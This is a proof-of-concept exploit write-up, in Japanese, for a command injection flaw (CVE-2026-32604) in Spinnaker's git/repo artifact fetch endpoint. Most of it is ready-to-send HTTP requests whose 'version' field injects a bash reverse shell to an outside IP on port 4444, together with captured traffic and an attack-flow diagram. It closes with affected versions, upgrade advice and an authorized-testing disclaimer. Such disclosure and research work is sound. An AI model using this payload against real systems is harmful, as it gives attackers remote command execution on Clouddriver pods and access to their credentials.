
CVE-2026-32604 の概念実証エクスプロイト。Spinnaker の GitRepo アーティファクト処理における version フィールドを介したコマンドインジェクション RCE です。
CVE-2026-32604 -
git/repoアーティファクトタイプを介した Spinnaker のリモートコード実行。
これは Spinnaker の GitRepo アーティファクト処理におけるコマンドインジェクション / リモートコード実行の脆弱性です。
この脆弱な機能により、git/repo アーティファクトの version フィールドを通じてユーザーが制御できる値が、適切にサニタイズされないままコマンド実行に到達します。
脆弱なエンドポイントは次のとおりです:
PUT /artifacts/fetch
重要な点は、アプリケーションが git/repo アーティファクトプロバイダーを次のエンドポイントを通じて公開していることです:
GET /artifacts/credentials
これは次を返します:
[
{
"name": "embedded-artifact",
"type": "artifacts-embedded",
"types": [
"embedded/base64",
"remote/base64"
]
},
{
"name": "front50ArtifactCredentials",
"type": "artifacts-front50",
"types": [
"front50/pipelineTemplate"
]
},
{
"name": "lab-gitrepo",
"type": "git/repo",
"types": [
"git/repo"
]
},
{
"name": "custom-artifact",
"type": "artifacts-custom",
"types": [
"custom/object"
]
}
]
これは git/repo アーティファクトタイプが利用可能であることを確認しています。
脆弱なリクエストは次に送信されます:
PUT /artifacts/fetch
Git リポジトリアーティファクトを含む JSON ボディとともに。
version パラメータはシェル構文で操作できます。
テストには次を使用しました:
main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #
PoC 中にキャプチャされた完全なリクエストは次のとおりです:
PUT /artifacts/fetch HTTP/1.1
Host: 127.0.0.1:8121
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 245
{
"type": "git/repo",
"name": "https://github.com/spinnaker/spinnaker.git",
"reference": "https://github.com/spinnaker/spinnaker.git",
"version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #",
"artifactAccount": "lab-gitrepo"
}
ここで重要なパラメータは次のとおりです:
"version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #"
インジェクトされたシェル式は、期待される Git ブランチ/バージョン値の後に追加されます。
# は、インジェクトされた式の後のコマンドの残りをコメントアウトするために使用されます。
リクエストは脆弱なアプリケーションによって受け入れられました。
キャプチャされた HTTP レスポンスは次のとおりです:
HTTP/1.1 200 OK
ETag: "036378056a333bda685add0375343e80c"
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Type: application/json;charset=UTF-8
Content-Length: 345
Date: Thu, 17 Sep 2026 20:42:21 GMT
Keep-Alive: timeout=60
Connection: keep-alive
[
{
"name": "embedded-artifact",
"type": "artifacts-embedded",
"types": [
"embedded/base64",
"remote/base64"
]
},
{
"name": "front50ArtifactCredentials",
"type": "artifacts-front50",
"types": [
"front50/pipelineTemplate"
]
},
{
"name": "lab-gitrepo",
"type": "git/repo",
"types": [
"git/repo"
]
},
{
"name": "custom-artifact",
"type": "artifacts-custom",
"types": [
"custom/object"
]
}
]
関連する点は、脆弱なアーティファクトタイプが存在し、悪意のある version 値がアーティファクトフェッチエンドポイントによって受け入れられることです。
脆弱なエンドポイントをテストする前に、ターゲットが応答していることを確認しました:
GET /health HTTP/1.1
Host: 127.0.0.1:8121
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
レスポンス:
HTTP/1.1 200 OK
ETag: "06b3d339e07161970cd740c9542492218"
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Type: application/json;charset=UTF-8
Content-Length: 15
Date: Thu, 17 Sep 2026 20:42:21 GMT
Keep-Alive: timeout=60
Connection: keep-alive
{"status":"UP"}
PoC は基本的に次のとおりです:
Target
│
├── GET /health
│ └── {"status":"UP"}
│
├── GET /artifacts/credentials
│ └── git/repo artifact type exposed
│
└── PUT /artifacts/fetch
│
├── type = git/repo
├── reference = attacker-controlled Git repository/reference
└── version = injected shell command
│
└── command execution
問題は、単にエンドポイントが Git ブランチ名を受け入れることではありません。問題は、攻撃者が制御する Git アーティファクトデータが、期待される Git バージョン/ブランチ構文に安全に制約されることなく、コマンド実行コンテキストに到達することです。
迅速な再現のために、コアリクエストは次のとおりです:
PUT /artifacts/fetch HTTP/1.1
Host: 127.0.0.1:8121
Content-Type: application/json
{
"type": "git/repo",
"name": "https://github.com/spinnaker/spinnaker.git",
"reference": "https://github.com/spinnaker/spinnaker.git",
"version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #",
"artifactAccount": "lab-gitrepo"
}
上記のペイロードは、制御されたラボ環境専用です。
脆弱なパスは、GitRepo アーティファクト実装が攻撃者制御のアーティファクト情報を処理することを含みます。
version に期待される値は次のようなものです:
main
しかし、アプリケーションは値をその期待される形式に十分に制約していません。
代わりに、シェル構文を導入できます:
main; <command> #
これにより、結果のコマンドの意味が変わります。
これにより、アーティファクト取得操作が、脆弱な Spinnaker Clouddriver サービスのコンテキストにおける任意のコマンド実行に変わります。
悪用に成功すると、影響を受ける Clouddriver ポッド上で任意のコマンド実行が可能になります。
侵害されたポッドの権限と環境に応じて、攻撃者は潜在的に次のことが可能になります:
公式の Spinnaker アドバイザリは、悪用により認証情報が露出したり、ファイルが削除されたり、リソースが注入されたりする可能性があると特に述べています。
Spinnaker セキュリティアドバイザリによると、影響を受けるリリースラインには次のバージョンより前のものが含まれます:
2025.3.2
2025.4.2
2026.0.1
2026.1.0
パッチ適用済みバージョンは次のとおりです:
2025.3.2
2025.4.2
2026.0.1
2026.1.0
この脆弱性は CVE-2026-32604 として追跡され、CWE-20: 不適切な入力検証 に分類されています。
Spinnaker をパッチ適用済みリリースにアップグレードしてください。
アップストリームのアドバイザリでは、すぐにアップグレードできないインストール向けの回避策として、git/repo アーティファクトタイプを無効化することも挙げられています。
可能な限り、影響を受けるリリースブランチに留まるのではなく、最新の Spinnaker リリースを使用するべきです。
この PoC は、セキュリティ研究、脆弱性検証、および許可されたテストのために提供されています。
所有しているシステム、またはテストの明示的な許可を得ているシステムに対してのみ実行してください。
私は隔離されたラボ環境でこの脆弱性をテストしました。